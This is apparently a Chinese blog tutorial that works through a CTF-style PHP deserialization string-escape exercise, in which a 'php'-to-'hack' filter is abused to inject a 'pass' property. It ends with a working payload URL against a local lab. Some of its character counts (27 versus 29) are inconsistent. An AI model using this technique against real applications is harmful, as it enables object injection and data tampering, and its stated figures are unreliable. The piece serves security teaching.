Dest1ny安全 2024年09月09日 15:18
今天也是php反序列化教程,是一个难点解析~,关于字符串逃逸!这是Dest1ny的第二篇文章,准备好了吗!
我叫Dest1ny,制作不易,求关注!
CLASS-1 什么是字符串逃逸?
我们先看正经的关于字符串逃逸:
PHP 反序列化漏洞中的字符串逃逸(String Escape)主要涉及在恶意输入的反序列化数据中操纵字符串,导致预期之外的行为。反序列化是将存储或传输的序列化数据转换回原始数据的过程。当反序列化未被安全处理时,攻击者可以利用漏洞注入恶意数据,使得代码执行或操作数据结构变得不可预测。
ok,也是一个字不想看。那我们直接上这期的题目,来看看怎么个事。
CLASS-2 今日例题!
这是我们今天要做的例题:
大家可以先看一下这段代码在干嘛,我从上到下讲一下:
-
一个filter方法,是个有过滤功能的方法,把输入进来的字符串里的flag和php替换成hack。
-
一个test模版,里面有两个公共属性,user和pass,还有一个construct的魔法函数,这种魔法函数是在使用test模版新建一个对象的时候会触发。
-
给了一个可以用get接口去传参数,再用test模版新建了一个对象,再去序列化。
4. 再将序列化完的字符串进行过滤,查看是否有flag或者php并替换,最后再反序列化。
最后判断test新建对象里的属性pass的值是不是escaping,则会输出flag
这是注释版本:
所以看完之后大家肯定说,那我直接让test里的pass里的值变成escaping就可以了吧,那大家记不记得我说过,这里有一个魔法函数,construct,只要源代码有新建test类的新对象,那必然要去执行construct!
这里只让传user的值,我上哪去改pass啊??????
CLASS-3 逃逸来了!
这个对于大家来说很容易看懂,如果还没啥概念,看我第一篇php反序列化文章就好。
序列化结果是这样的:
O:4:"test":2:{s:4:"user";s:4:"aaaa";s:4:"pass";s:4:"bbbb";}
这个都看得懂吧,那比如我稍微改了一下呢?
O:4:"test":2:{s:4:"user";s:12:"aaaa";s:4:"pass";s:4:"bbbb";}
问:这时候user的值是什么
答:aaaa";s:4:"pass
大家发现了什么,php好霸道,我把4变成12,他不管我后面是啥,直接给我吞到user的值里了。
大家看我这个过滤函数
如果我序列化里有php,他会转换成hack??那我s:后面的数字变吗?
O:4:"test":2:{s:4:"user";s:15:"hackhackhackhackhack";s:4:"pass";s:8:"daydream";}";
我故意去用php去代替hack,发现s后面的数字还是按照php的数量来的,然而hack替换了五次!
问:user的值是什么
答:hackhackhackhac ???
那我只要可以让string的值变得合理,是不是可以多去构造值呢?
嘿嘿,我直接;}直接来个到这结束,整个字符串是什么样子呢?
s:83:"O:4:"test":2:{s:4:"user";s:18:"hackhackhackhackhack";}";s:4:"pass";s:8:"daydream";}";
因为我用了;}
所以最后结果是:
O:4:"test":2:{s:4:"user";s:18:"hackhackhackhackhack";}
直接改变结构了,但是这还不是很成功,我test有两个属性,我需要修改pass的值,所以是不是我只要控制好吞字符的数量就可以在只可以传user属性的时候能去修改pass的值!
CLASS-4 happy ending !
所以思路很清楚了
1. 我们理论上只能去修改user值
2. 题目需要我们去修改pass值
3. 我们发现可能有字符逃逸的可能
4. 去使用php和hack替换出现的字符数量的差异去构造序列化格式,在user的值里去再控制pass值!
我们理想状态是这样的:
O:4:"test":2:{s:4:"user";s:??:"这里不确定有多少hack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}";
然后因为提前断掉了。
所以最后的结果是:
O:4:"test":2:{s:4:"user";s:?:"?";s:4:"pass";s:8:"escaping";}
诶你看,就算把我标蓝的地方断掉了,可是test里还是两个属性,完美!
所以我们payload肯定有;s:4:"pass";s:8:"escaping";}这串字符,那我如何很完美让他构造在序列化里呢
要去计算一下
;s:4:"pass";s:8:"escaping";} 27个字符
那我设需要填入x个php,加上24个字符正好等于x个hack
3x + 27 = 4x
算出x为27
我们试一下输入27个php
ok输出
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}";
这里的hack把116个字符填满了,而且经过我们计算在最后一个hack之后加上";,让php觉得ok,已经结束了,其实我们帮助pass逃脱舒服,可以拿到我们想要的值了!
payload发一下
http://127.0.0.1:8088/class16/1.php?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22;s:4:%22pass%22;s:8:%22escaping%22;}
直接拿下flag
惯例,来个例子:
我们想越狱 -> 发现狱警只会数人数不会查人脸 ->我们找了几个替死鬼在新的进监狱的人里混进来 -> 让他们代替我们坐牢 -> 只要他们不承认自己是替死鬼 -> 我们就是自由的